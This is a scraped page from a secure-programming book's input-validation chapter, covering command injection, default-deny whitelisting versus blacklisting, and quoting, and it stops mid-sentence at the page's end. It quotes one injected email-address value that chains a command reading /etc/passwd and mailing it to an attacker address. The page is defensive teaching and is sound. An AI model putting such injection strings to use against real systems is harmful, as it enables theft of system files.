21.03.2013 Views

Problem - Kevin Tafuro

Problem - Kevin Tafuro

Problem - Kevin Tafuro

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Beware of special commands, characters, and quoting.<br />

One obvious thing to do when using a command language such as the Unix shell<br />

or SQLis to construct commands in trusted software, instead of allowing users<br />

to send commands that get proxied. However, there is another “gotcha” here.<br />

Suppose that you provide users the ability to search a database for a word. When<br />

the user gives you that word, you may be inclined to concatenate it to your SQL<br />

command. If you do not validate the input, the user might be able to run other<br />

commands.<br />

Consider what happens if you have a server application that, among other<br />

things, can send email. Suppose that the email address comes from an untrusted<br />

client. If the email address is placed into a buffer using a format string like “/bin/<br />

mail %s < /tmp/email”, what happens if the user submits the following email<br />

address: “dummy@address.com; cat /etc/passwd | mail some@attacker.org”?<br />

Make policy decisions based on a “default deny” rule.<br />

There are two different approaches to data filtering. With the first, known as<br />

whitelisting, you accept input as valid only if it meets specific criteria. Otherwise,<br />

you reject it. If you do this, the major thing you need to worry about is<br />

whether the rules that define your whitelist are actually correct!<br />

With the other approach, known as blacklisting, you reject only those things that<br />

are known to be bad. It is much easier to get your policy wrong when you take<br />

this approach.<br />

For example, if you really want to invoke a mail program by calling a shell, you<br />

might take a whitelist approach in which you allow only well-formed email<br />

addresses, as discussed in Recipe 3.9. Or you might use a slightly more liberal<br />

(less exact) whitelist policy in which you only allow letters, digits, the @ sign,<br />

and periods.<br />

With a blacklist approach, you might try to block out every character that might<br />

be leveraged in an attack. It is hard to be sure that you are not missing something<br />

here, particularly if you try to consider every single operational environment<br />

in which your software may be deployed. For example, if calling out to a<br />

shell, you may find all the special characters for the bash shell and check for<br />

those, but leave people using tcsh (or something unusual) open to attack.<br />

You can look for a quoting mechanism, but know how to use it properly.<br />

Sometimes, you really do need to be able to accept arbitrary data from an<br />

untrusted source and use that data in a security-critical way. For example, you<br />

might want to be able to put arbitrary contents from arbitrary documents into a<br />

database. In such a case, you might look for some kind of quoting mechanism.<br />

For example, you can usually stick untrusted data in single quotes in such an<br />

environment.<br />

However, you need to be aware of ways in which an attacker can leave the<br />

quoted environment, and you must actively make sure that the attacker does not<br />

74 | Chapter 3: Input Validation<br />

This is the Title of the Book, eMatter Edition<br />

Copyright © 2007 O’Reilly & Associates, Inc. All rights reserved.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!